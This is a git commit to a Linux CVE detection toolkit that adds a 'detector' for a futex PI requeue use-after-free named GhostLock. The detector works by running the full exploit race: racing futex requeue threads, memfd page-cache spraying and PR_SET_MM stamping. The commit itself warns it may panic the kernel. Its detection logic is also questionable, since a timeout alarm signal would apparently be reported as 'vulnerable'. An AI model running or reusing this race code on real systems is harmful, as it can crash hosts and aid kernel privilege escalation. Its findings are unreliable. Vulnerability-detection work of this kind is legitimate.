commit 05c85a55ff4377a3e2506e84417b4b8766ec05bc
parent 236e6fc0c0101d0b4f164705716e1ddfc35c348b
Author: finwo <finwo@pm.me>
Date: Thu, 9 Jul 2026 20:49:47 +0200
Added cve-2026-43499 detector, may cause panic
Diffstat:
2 files changed, 474 insertions(+), 0 deletions(-)
diff --git a/README.md b/README.md
@@ -9,6 +9,7 @@ A lightweight CVE detection toolkit for Linux systems.
| [CVE-2016-5195](https://nvd.nist.gov/vuln/detail/CVE-2016-5195) | dirtycow | Privileged page-cache write via COW race (`pokedata` + `procmem` variants) |
| [CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) | CopyFail | Kernel crypto initialization bypass via `algif_aead` |
| [CVE-2026-43284](https://www.cve.org/CVERecord?id=CVE-2026-43284) | DirtyFrag | xfrm-ESP page-cache write LPE |
+| [CVE-2026-43499](https://www.cve.org/CVERecord?id=CVE-2026-43499) | GhostLock | Futex PI requeue deadlock race leading to kernel stack UAF |
| [CVE-2026-46333](https://nvd.nist.gov/vuln/detail/CVE-2026-46333) | ssh-keysign-pwn | pidfd_getfd FD theft via mm-NULL dumpable bypass |
## Build
diff --git a/src/detector/cve-2026-43499.c b/src/detector/cve-2026-43499.c
@@ -0,0 +1,473 @@
+/*
+ * CVE-2026-43499 — GhostLock
+ *
+ * A futex PI requeue race condition leading to a use-after-free in the
+ * kernel's futex subsystem. An unprivileged user can trigger a kernel
+ * stack UAF by racing FUTEX_WAIT_REQUEUE_PI against FUTEX_CMP_REQUEUE_PI
+ * when a PI-chain deadlock is present.
+ *
+ * This detector runs the race-and-exploit loop in a subprocess with a
+ * strict timeout. If the UAF is triggered, the subprocess crashes
+ * (SIGSEGV/SIGBUS). A clean exit means the kernel is not vulnerable.
+ *
+ * All memory is allocated via memfd + mmap — no files are written to
+ * disk, and no system state is modified after the test completes.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <poll.h>
+#include <pthread.h>
+#include <signal.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/time.h>
+#include <sys/wait.h>
+#include <time.h>
+#include <unistd.h>
+
+#include "setup.h"
+
+/* ---- constants tuned from the original PoC ---- */
+#define CHILDREN 8 /* matches the original PoC */
+#define ROUNDS 80 /* stamp iterations after a successful race */
+#define SHMEM_LEN (1024 * 1024)
+#define PR_SET_MM 35
+#define PR_SET_MM_MAP 14
+#define SHMEM_BASE 0xdead10000ULL
+#define TIMEOUT_SEC 15 /* total timeout for the child process */
+
+/* ---- futex helpers (direct syscalls, no glibc wrappers) ---- */
+static void futex_lock_pi(uint32_t *uaddr) {
+ syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
+}
+
+static void futex_unlock_pi(uint32_t *uaddr) {
+ syscall(SYS_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
+}
+
+static void futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
+ const struct timespec *ts) {
+ syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts, uaddr2, 0);
+}
+
+static void futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) {
+ syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0);
+}
+
+static void futex_wake(volatile int *uaddr) {
+ syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, 0, 0, 0);
+}
+
+static void wait_for(volatile int *uaddr, int old) {
+ while (*uaddr == old)
+ syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, old, 0, 0, 0);
+}
+
+/* ---- per-child shared state ---- */
+struct ghostlock_state {
+ uint32_t f_wait; /* non-PI futex, initial wait target */
+ uint32_t f_pi_target; /* PI futex, requeue target */
+ uint32_t f_pi_chain; /* PI futex, chain lock */
+
+ volatile int a_ready; /* waiter thread has locked f_pi_chain */
+ volatile int a_tid; /* waiter thread tid */
+ volatile int a_waiting; /* waiter thread is inside futex_wait_requeue_pi */
+ volatile int b_started; /* owner thread has locked f_pi_target */
+ volatile int consume; /* signal for consumer thread */
+ volatile int stamp_ready; /* signal from stamp_one */
+ volatile int scheduled; /* consumer has set scheduler */
+ volatile int deadlock_seen; /* race won indicator */
+
+ int lane; /* child index (0 gets PR_SET_MM) */
+ int done_fd; /* write-end of status pipe */
+
+ /* shared memory for auxv / page-cache spray */
+ int shmem_fd;
+ unsigned char *shmem_map;
+ size_t page_size;
+};
+
+/* ---- stamp helpers (trigger the UAF after a successful race) ---- */
+static void fill_buf(uint64_t *buf) {
+ for (int i = 0; i < 64; i++)
+ buf[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8;
+}
+
+static void shmem_fill(struct ghostlock_state *gs) {
+ uint64_t *page = (uint64_t *)gs->shmem_map;
+ size_t npage = gs->page_size / sizeof(uint64_t);
+ for (size_t i = 0; i < npage; i++)
+ page[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8;
+ uint64_t *auxv = (uint64_t *)(gs->shmem_map + gs->page_size - 29 * sizeof(uint64_t));
+ for (int i = 0; i < 64; i++)
+ auxv[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8;
+}
+
+struct prctl_mm_map {
+ uint64_t start_code;
+ uint64_t end_code;
+ uint64_t start_data;
+ uint64_t end_data;
+ uint64_t start_brk;
+ uint64_t brk;
+ uint64_t start_stack;
+ uint64_t arg_start;
+ uint64_t arg_end;
+ uint64_t env_start;
+ uint64_t env_end;
+ uint64_t *auxv;
+ uint32_t auxv_size;
+ uint32_t exe_fd;
+};
+
+static volatile int g_punch_go;
+static volatile int g_punch_done;
+static int g_shmem_fd_global;
+
+static void *puncher_thread(void *arg) {
+ (void)arg;
+ wait_for(&g_punch_go, 0);
+ while (!g_punch_done) {
+ syscall(SYS_fallocate, g_shmem_fd_global, 0, 4096, SHMEM_LEN - 4096);
+ syscall(SYS_fallocate, g_shmem_fd_global, 3, 4096, SHMEM_LEN - 4096);
+ }
+ return NULL;
+}
+
+static void stamp_prctl(struct ghostlock_state *gs, uint64_t *buf) {
+ struct prctl_mm_map mm_map = {
+ .start_code = (uint64_t)stamp_prctl,
+ .end_code = (uint64_t)stamp_prctl + 0x1000,
+ .start_data = (uint64_t)&gs->shmem_fd & ~0xfffULL,
+ .end_data = ((uint64_t)&gs->shmem_fd & ~0xfffULL) + 0x1000,
+ .start_brk = (uint64_t)sbrk(0),
+ .brk = (uint64_t)sbrk(0),
+ .start_stack = (uint64_t)buf,
+ .arg_start = (uint64_t)buf,
+ .arg_end = (uint64_t)buf,
+ .env_start = (uint64_t)buf,
+ .env_end = (uint64_t)buf,
+ .auxv = (uint64_t *)(gs->shmem_map + gs->page_size - 29 * sizeof(uint64_t)),
+ .auxv_size = 48 * sizeof(uint64_t),
+ .exe_fd = -1,
+ };
+ shmem_fill(gs);
+ g_punch_go = 1;
+ futex_wake(&g_punch_go);
+ usleep(4000);
+ gs->stamp_ready = 1;
+ futex_wake(&gs->stamp_ready);
+ syscall(SYS_sched_yield);
+ for (int i = 0; i < 100; i++)
+ syscall(SYS_prctl, PR_SET_MM, PR_SET_MM_MAP, &mm_map, sizeof(mm_map), 0);
+}
+
+static void stamp_futex(struct ghostlock_state *gs, uint64_t *buf) {
+ (void)gs;
+ (void)buf;
+ struct timespec ts = {};
+ uint32_t a = 0, b = 0;
+ futex_lock_pi(&a);
+ futex_unlock_pi(&a);
+ futex_wait_requeue_pi(&a, &b, &ts);
+ futex_cmp_requeue_pi(&a, &b);
+}
+
+/* dispatch table matching the original PoC */
+static void (*const stamps[])(struct ghostlock_state *, uint64_t *) = {
+ stamp_prctl,
+ stamp_futex,
+};
+
+static void stamp_one(struct ghostlock_state *gs, uint64_t *buf, int id) {
+ fill_buf(buf);
+ stamps[id](gs, buf);
+}
+
+static void stamp_loop(struct ghostlock_state *gs) {
+ uint64_t buf[64];
+ stamp_one(gs, buf, gs->lane == 0 ? 0 : 1);
+ gs->stamp_ready = 1;
+ futex_wake(&gs->stamp_ready);
+ for (int i = 0; i < ROUNDS; i++)
+ stamp_one(gs, buf, gs->lane == 0 ? 0 : 1);
+}
+
+/* ---- thread entry points ---- */
+static void *owner_thread(void *arg) {
+ struct ghostlock_state *gs = (struct ghostlock_state *)arg;
+ futex_lock_pi(&gs->f_pi_target);
+ while (!gs->a_ready);
+ gs->b_started = 1;
+ futex_lock_pi(&gs->f_pi_chain);
+ /* deadlock — never releases */
+ for (;;) pause();
+ return NULL;
+}
+
+static void *consumer_thread(void *arg) {
+ struct ghostlock_state *gs = (struct ghostlock_state *)arg;
+ int tid;
+ while (!(tid = gs->a_tid));
+ wait_for(&gs->consume, 0);
+ wait_for(&gs->stamp_ready, 0);
+
+ struct sched_attr {
+ uint32_t size;
+ uint32_t policy;
+ uint64_t flags;
+ int32_t nice;
+ uint32_t priority;
+ uint64_t runtime;
+ uint64_t deadline;
+ uint64_t period;
+ uint32_t util_min;
+ uint32_t util_max;
+ } attr = {
+ .size = sizeof(attr),
+ .policy = 3, /* SCHED_BATCH */
+ .nice = 19,
+ };
+ syscall(SYS_sched_setattr, tid, &attr, 0);
+ gs->scheduled = 1;
+ futex_wake(&gs->scheduled);
+ for (;;) pause();
+ return NULL;
+}
+
+static void *waiter_thread(void *arg) {
+ struct ghostlock_state *gs = (struct ghostlock_state *)arg;
+ struct timespec ts;
+
+ gs->a_tid = syscall(SYS_gettid);
+ futex_lock_pi(&gs->f_pi_chain);
+ gs->a_ready = 1;
+ usleep(20000);
+
+ clock_gettime(CLOCK_MONOTONIC, &ts);
+ ts.tv_nsec += 50000000; /* 50 ms timeout */
+ if (ts.tv_nsec >= 1000000000) {
+ ts.tv_sec++;
+ ts.tv_nsec -= 1000000000;
+ }
+ gs->a_waiting = 1;
+ futex_wait_requeue_pi(&gs->f_wait, &gs->f_pi_target, &ts);
+ wait_for(&gs->deadlock_seen, 0);
+ gs->consume = 1;
+ futex_wake(&gs->consume);
+ stamp_loop(gs);
+ wait_for(&gs->scheduled, 0);
+ write(gs->done_fd, "x", 1);
+ _exit(0);
+ return NULL;
+}
+
+/* ---- per-child setup and race ---- */
+static void run_child(struct ghostlock_state *gs) {
+ pthread_t th;
+ pthread_attr_t attr;
+
+ mlockall(MCL_CURRENT | MCL_FUTURE);
+ pthread_attr_init(&attr);
+ pthread_attr_setstacksize(&attr, 1024 * 1024);
+
+ /* child 0 sets up the shared-memory PR_SET_MM spray area */
+ if (gs->lane == 0) {
+ size_t ps = (size_t)sysconf(_SC_PAGESIZE);
+ gs->page_size = ps;
+ gs->shmem_fd = (int)syscall(SYS_memfd_create, "x", 0);
+ syscall(SYS_fallocate, gs->shmem_fd, 0, 0, SHMEM_LEN);
+ gs->shmem_map = (unsigned char *)mmap(
+ (void *)SHMEM_BASE, SHMEM_LEN, PROT_READ | PROT_WRITE,
+ MAP_SHARED | MAP_FIXED, gs->shmem_fd, 0);
+ if (gs->shmem_map == MAP_FAILED)
+ gs->shmem_map = NULL;
+ g_shmem_fd_global = gs->shmem_fd;
+ pthread_create(&th, NULL, puncher_thread, NULL);
+ }
+
+ memset(&gs->f_wait, 0, sizeof(gs->f_wait));
+ memset(&gs->f_pi_target, 0, sizeof(gs->f_pi_target));
+ memset(&gs->f_pi_chain, 0, sizeof(gs->f_pi_chain));
+ gs->a_ready = 0;
+ gs->a_tid = 0;
+ gs->a_waiting = 0;
+ gs->b_started = 0;
+ gs->consume = 0;
+ gs->stamp_ready = 0;
+ gs->scheduled = 0;
+ gs->deadlock_seen = 0;
+ g_punch_go = 0;
+ g_punch_done = 0;
+
+ pthread_create(&th, &attr, owner_thread, gs);
+ pthread_create(&th, &attr, consumer_thread, gs);
+ pthread_create(&th, &attr, waiter_thread, gs);
+
+ while (!gs->a_waiting || !gs->b_started);
+ usleep(20000);
+
+ /* Tell the parent we are past the setup phase */
+ write(gs->done_fd, "r", 1);
+
+ /* Race: requeue the waiter into the deadlock */
+ futex_cmp_requeue_pi(&gs->f_wait, &gs->f_pi_target);
+ gs->deadlock_seen = 1;
+ futex_wake(&gs->deadlock_seen);
+
+ /* Stay alive until the waiter has stamped */
+ for (;;) pause();
+}
+
+/* ---- top-level detector ---- */
+int detector_cve_2026_43499(struct cve_context *ctx) {
+ int status;
+ pid_t child;
+ int pipefd[2];
+ char buf[1];
+
+ if (pipe2(pipefd, 0) < 0)
+ return 0;
+
+ child = fork();
+ if (child < 0) {
+ close(pipefd[0]);
+ close(pipefd[1]);
+ return 0;
+ }
+
+ if (child == 0) {
+ /* ---- child: run the exploit ---- */
+ close(pipefd[0]);
+
+ /* Die cleanly after TIMEOUT_SEC seconds */
+ alarm(TIMEOUT_SEC);
+
+ /*
+ * Fork CHILDREN sub-processes, each running the race.
+ * We replicate the original PoC structure: run() forks
+ * children sequentially, each runs run_child().
+ */
+ for (int i = 0; i < CHILDREN; i++) {
+ int cp[2];
+ struct ghostlock_state gs;
+
+ if (pipe2(cp, 0) < 0)
+ _exit(2);
+
+ pid_t kid = fork();
+ if (kid < 0) {
+ close(cp[0]);
+ close(cp[1]);
+ _exit(2);
+ }
+
+ if (kid == 0) {
+ /* grandchild */
+ close(cp[0]);
+ memset(&gs, 0, sizeof(gs));
+ gs.lane = i;
+ gs.done_fd = cp[1];
+ run_child(&gs);
+ _exit(0);
+ }
+
+ close(cp[1]);
+
+ /* Wait for "r" (ready) from grandchild */
+ {
+ struct pollfd pfd;
+ pfd.fd = cp[0];
+ pfd.events = POLLIN;
+ int rc = poll(&pfd, 1, 5000);
+ if (rc <= 0) {
+ /* timeout or error — kill and move on */
+ kill(kid, SIGKILL);
+ close(cp[0]);
+ waitpid(kid, NULL, 0);
+ continue;
+ }
+ if (read(cp[0], buf, 1) != 1) {
+ kill(kid, SIGKILL);
+ close(cp[0]);
+ waitpid(kid, NULL, 0);
+ continue;
+ }
+ }
+
+ /*
+ * Wait for the second byte ("x" = stamp done, or timeout).
+ * Use a select-like timeout so we don't hang forever.
+ */
+ {
+ struct pollfd pfd;
+ pfd.fd = cp[0];
+ pfd.events = POLLIN;
+ int rc = poll(&pfd, 1, TIMEOUT_SEC * 1000 / CHILDREN);
+ if (rc > 0)
+ read(cp[0], buf, 1);
+ else
+ kill(kid, SIGKILL);
+ }
+
+ close(cp[0]);
+ waitpid(kid, NULL, 0);
+ }
+
+ /* All done — exit cleanly */
+ _exit(0);
+ }
+
+ /* ---- parent: monitor child ---- */
+ close(pipefd[1]);
+
+ /*
+ * Wait up to (TIMEOUT_SEC + 2) seconds for the child.
+ * If it was killed by a signal (SIGSEGV, SIGBUS, SIGILL),
+ * the UAF was triggered and the kernel is vulnerable.
+ */
+ {
+ char buf;
+ struct pollfd pfd;
+ pfd.fd = pipefd[0];
+ pfd.events = POLLIN;
+ int rc = poll(&pfd, 1, (TIMEOUT_SEC + 2) * 1000);
+ if (rc > 0)
+ read(pipefd[0], &buf, 1);
+ (void)buf;
+ }
+ close(pipefd[0]);
+
+ /* reap child */
+ kill(child, SIGKILL);
+ waitpid(child, &status, 0);
+
+ if (WIFSIGNALED(status)) {
+ /* Child crashed — vulnerability triggered */
+ if (ctx->verbose)
+ fprintf(stderr, "[cve-2026-43499] vulnerable: child killed by signal %d\n",
+ WTERMSIG(status));
+ return 1;
+ }
+
+ /* Child exited or timed out — likely patched */
+ return 0;
+}
+
+/* ---- constructor ---- */
+__attribute__((constructor))
+void detector_cve_2026_43499_setup(void) {
+ detector_queue_append(
+ "CVE-2026-43499", "GhostLock",
+ "Update the Linux kernel to >= 7.1 or apply CONFIG_FUTEX_PI=n.\n"
+ " The fix was backported to stable trees; check for commits\n"
+ " addressing the futex PI requeue deadlock race.",
+ detector_cve_2026_43499);
+}